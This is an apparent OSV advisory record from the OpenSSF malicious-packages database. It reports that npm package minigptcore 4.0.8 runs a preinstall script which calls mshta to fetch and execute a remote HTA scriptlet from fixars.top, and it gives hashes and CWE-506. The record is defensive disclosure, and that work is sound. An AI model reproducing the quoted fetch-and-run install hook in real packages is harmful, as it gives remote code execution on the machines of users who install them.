{"id":"MAL-2026-10417","summary":"Malicious code in minigptcore (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (8be3fb8ddeae3078f0765ce77f9a329caacd7ee5741b2c96dcf8f613f5444ba0)\nOn `npm install`, the package's preinstall script (preinstall.js) invokes `cmd /c mshta http://fixars.top/...`, causing Windows mshta.exe to fetch and execute an HTA scriptlet from a hardcoded external domain over plain HTTP. The fetched content is unpinned, unverified, and unrelated to any documented package purpose, and executes with the privileges of the user running `npm install`. package.json ships placeholder metadata (empty author, empty keywords, generic description) consistent with a throwaway upload whose only functional effect is the remote-code-execution dropper.\n","modified":"2026-07-13T07:47:04.843058836Z","published":"2026-07-13T06:54:44Z","database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-009841","import_time":"2026-07-13T07:40:12.463500542Z","modified_time":"2026-07-13T06:54:44Z","sha256":"8be3fb8ddeae3078f0765ce77f9a329caacd7ee5741b2c96dcf8f613f5444ba0","source":"amazon-inspector","versions":["4.0.8"]}]},"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/minigptcore/v/4.0.8"}],"affected":[{"package":{"name":"minigptcore","ecosystem":"npm","purl":"pkg:npm/minigptcore"},"versions":["4.0.8"],"database_specific":{"indicators":{"evidence_files":[{"path":"preinstall.js","sha256":"6531737cdf18669d076b7ff3bf8168ddc74828f385a4a037a47bd8767d11b889","tlsh":"70b012d499453234b252a0e02c3060225807c441225055e0648c451d441741516235fd"},{"sha256":"ee2f5024254c6e3fd29d55cf88a90a18296218e8800ef14dcd67cb6e9f0bd27a","tlsh":"0ee07d245c52d5332dc223951d1b4011b3708f0b02107c0a67db082c03ce5bb94ff31d","path":"package.json"}],"package_integrity":[{"filename":"minigptcore-4.0.8.tgz","hashes":{"sha512_sri":"sha512-sw3/AEkH8CPxNh0NfhWStNTT73NYwwtd0J2WoMJCSLIrfNqgGx6Ehcc7MjY/GSmd+iNeU0BQ/04nwysHjWqbKw==","sha1":"1270bf7a83e345094d7f7ac93e153dad410ac967"}}]},"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/minigptcore/MAL-2026-10417.json","cwes":[{"description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code","cweId":"CWE-506"}]}}],"schema_version":"1.7.5","credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]}